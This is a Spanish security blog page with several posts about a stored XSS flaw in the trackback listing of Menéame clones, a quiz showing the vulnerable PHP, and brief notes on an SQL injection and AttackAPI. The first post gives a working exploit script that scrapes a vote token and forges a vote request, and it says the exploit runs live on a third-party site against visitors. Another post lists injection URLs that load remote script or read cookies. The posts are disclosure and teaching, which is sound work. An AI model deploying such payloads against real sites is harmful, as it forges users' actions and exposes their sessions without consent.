Categories
PHP Seguridad

Importancia de la validación de datos – Demostración

Finalmente, presento un pequeño exploit que hice para aprovechar la falla comentada en anteriores posts. Lo que hace el exploit es enviar un "ataque" XSS para que el script http://test.buayacorp.com/s.js cargue en la página afectada.

javascript:

window.onload = function () {
        var doc = document.body.innerHTML;
        var match = /menealo\((\d+),(\d+),\2,'([^']+)'\)/.exec(doc);
        if (match != null && match.length == 4) {
                var img = '
<img src="/backend/menealo.php?user=' + match[1] + '&id=' + match[2] + '&md5=' + match[3] + '" style="display:none" />';

                document.write(img);
        }
}

Pueden ver el caso de prueba en floreame, a quienes de antemano pido disculpas por las molestias causadas y sugiero que actualizen a la última versión de el script para solucionar esto. Cada vez que entren en esta dirección, automáticamente estarán meneando el enlace enviado.

Código fuente: http.zip

Disclaimer: Este exploit ha sido publicado con el fin de que los pocos lectores de este sitio ayuden en cierta medida a que los responsables de los diferentes clones de Menéame que muestren el listado de trackbacks, puedan corregir la falla descrita en posts anteriores.

Categories
PHP Seguridad

Importancia de la validación de datos

En un post anterior puse un quiz sobre validación de datos, debido a que hubo una enorme cantidad de respuestas :D, quiero hacer unas cuantas aclaraciones y mostrar como un pequeño error puede tener consecuencias nada deseables.

Antes de empezar quiero advertir al ávido lector, que este post será un poco largo.

El error

Voy a tomar las lineas más importantes del quiz mencionado:

php:

##############
# demo.php
$tb_url    = $_POST['url']; # Obtiene el valor del parámetro 'url'

# ...
$excerpt = strip_tags($excerpt);
$excerpt = (strlen($excerpt) > 200) ? substr($excerpt, 0, 200) . '...' : $excerpt;

# Valida que la URL enviada realmente exista
$contents=@file_get_contents($tb_url);
if(!$contents) {       
        die('The provided URL does not seem to work.');
}

##############
# show.php
# Muestra el contenido de la URL ingresada
echo '<li><a href="'.$tb->url.'" title="'.$tb->excerpt.'">'.$tb->title.'</a></li>';

Como seguramente lo han notado, la variable 'url' puede contener cualquier valor, siempre y cuando éste sea accesible al mundo exterior. Veamos algunos ejemplos (se omite intencionalmente los valores de $tb->excerpt y $tb->title, aunque la variable $tb->excerpt también puede contener ciertos valores no deseados):

  1. [http://wwww.buayacorp.com/?] - esta url pasa la "validación" hecha por file_get_contents; show.php mostraría: [<a href="http://www.buayacorp.com/?"> ... </a>]
  2. [http://www.buayacorp.com/?" onclick=alert(document.cookie) f="] - esta url pasa* la "validación" hecha por file_get_contents; show.php mostraría: [<a href="http://www.buayacorp.com/?" onclick=alert(document.cookie) f=""> ... </a>]
  3. [http://wwww.buayacorp.com/?"><script src=http://www.buayacorp.com/s.js></script><a href="] - esta url pasa* la "validación" hecha por file_get_contents; show.php mostraría: [<a href="http://www.buayacorp.com/?"><script src=http://www.buayacorp.com/s.js></script><a href=""> ... </a>]

Aprovechando la falla

Si tomamos como base la última dirección URL -que es el que más nos conviene- de los ejemplos mostrados, veremos que se produce un error en file_get_contents, puesto que la mayoría de los servidores web se quejarán de que existen caracteres inválidos y mandarán un error 400 (Bad Request), a continuación parte del log de un servidor Apache 1.33 luego de realizar unas pruebas:

code:

[Mon Sep 18 14:07:51 2006] [error] [client 127.0.0.1] request failed: erroneous characters after protocol string: GET/?u=\"<script src=http://localhost/s.js></script><a\"

La solución a este inconveniente es trivial, ya que sólo es necesario implementar un servidor web que no haga ningún tipo de validación sobre los datos que recibe.

Consecuencias

Esos errores aparentemente inofensivos, permiten hacer en la página afectada, todo lo que se puede hacer (valga la redundancia) con javascript. En un siguiente post mostraré ejemplos reales.

Recomendaciones

  • Jamás confien en los datos que llegan o puedan ser modificados por el cliente.
  • Conozcan su herramienta y/o lenguaje con el que actualmente trabajan, esto les dará una idea clara de que cosas están protegidos(as) y que cosas no.
  • Lean algún(os) libro(s) y visiten sitios relacionados a seguridad.

Menéame y sus clones

Muchos se preguntarán que diablos tiene que ver menéame y sus clones aquí, pero la verdad es que el anterior quiz y este post estan relacionados a una falla de menéame, que fue corregida en parte el 25/09/2006, digo en parte porque existe la posibilidad de que algún spammer hdp pueda enviar todos los trackbacks que quiera. IMHO, sería bueno limitar el número de trackbacks desde una dirección IP en un lapso determinado y luego aplicar filtros antispam sobre los que pasen.

El caso de los clones es otro problema, ya que al parecer muchos de los responsables de estos proyectos no están al tanto de las correciones que se hacen en la versión principal -donde últimamente existe diferencias entre los problemas que muestra la página de reporte de bugs y los problemas solucionados que se especifican en el archivo CHANGES, motivo por el cual muchos clones todavía son vulnerables a ciertos ataques. Sería bueno que Ricardo pueda ofrecer una forma rápida de que los interesados puedan corregir sus versiones ante problemas algo críticos.

Categories
PHP Quiz Seguridad

Quiz sobre validación de datos en PHP

El código mostrado a continuación, es una versión reducida de una falla de seguridad presente en una aplicación algo conocida.

Indiquen la falla, lo que se puede hacer con ésta, una forma de explotarlo y la solución que plantean al mismo:

php:

// demo.php
<?php

include './db.php';

error_reporting(0);

$tb_url    = $_POST['url'];
$title     = $_POST['title'];
$excerpt   = $_POST['excerpt'];

if (empty($title) || empty($tb_url) || empty($excerpt)) {
        die ('Invalid values');
}

$titlehtmlspecialchars( strip_tags( $title ) );
$title = (strlen($title) > 150) ? substr($title, 0, 150) . '...' : $title;
$excerpt = strip_tags($excerpt);
$excerpt = (strlen($excerpt) > 200) ? substr($excerpt, 0, 200) . '...' : $excerpt;

$contents=@file_get_contents($tb_url);
if(!$contents) {       
        die('The provided URL does not seem to work.');
}

$query = "INSERT INTO tabla (url, title, excerpt) VALUES ('%s', '%s', '%s')";

$db->query
        (
                sprintf (
                        $query,
                        $db->escape($tb_url),
                        $db->escape($title),
                        $db->escape($excerpt)
                        )
        );

?>

php:

// show.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
        <head>
                <title>Bug</title>
        </head>
        <body>

                <ul>
                <?php

                include './db.php';
                $items = $db->get_results('SELECT url, title, excerpt FROM tabla');

                foreach ($items as $tb) :
                        echo '<li><a href="'.$tb->url.'" title="'.$tb->excerpt.'">'.$tb->title.'</a></li>';               
                endforeach;

                ?>
                </ul>

        </body>
</html>

Para el acceso a datos se usa la clase ez_sql, el método escape en mi versión, contiene lo siguiente:

php:

function escape($string) {
        if (get_magic_quotes_gpc())
                $string = stripslashes($string);
        return mysql_real_escape_string( $string, $this->dbh );
}
Categories
PHP Seguridad

SQL Injection en Menéame

Nota: Al momento de publicar este post, el bug ya ha sido corregido en la última versión de Menéame, pero probablemente sus clones todavía son vulnerables.

Existe un problema de validación de datos en el código fuente de Menéame, que dadas las condiciones necesarias, hace posible que alguien pueda apoderarse de la cuenta de un usuario, ingreso de datos inconsistentes y la creación nuevas cuentas con nivel "god" -esto último creo que no tiene mucha implicancia.

Categories
JavaScript Seguridad

AtackAPI – Ataques desde Javascript

Hace poco tiempo se comentaba sobre un detector de puertos escrito en javascript, esta vez, han publicado AtackAPI, que permite hacer ataques de una manera simple usando javascript.

AttackAPI provides simple and intuitive web programmable interface for composing attack vectors with JavaScript and other client (and server) related technologies. The current release supports several browser based attacking techniques and simple but powerful JavaScript console.

Habrá que ver qué tipo de cosas se harán con esta API.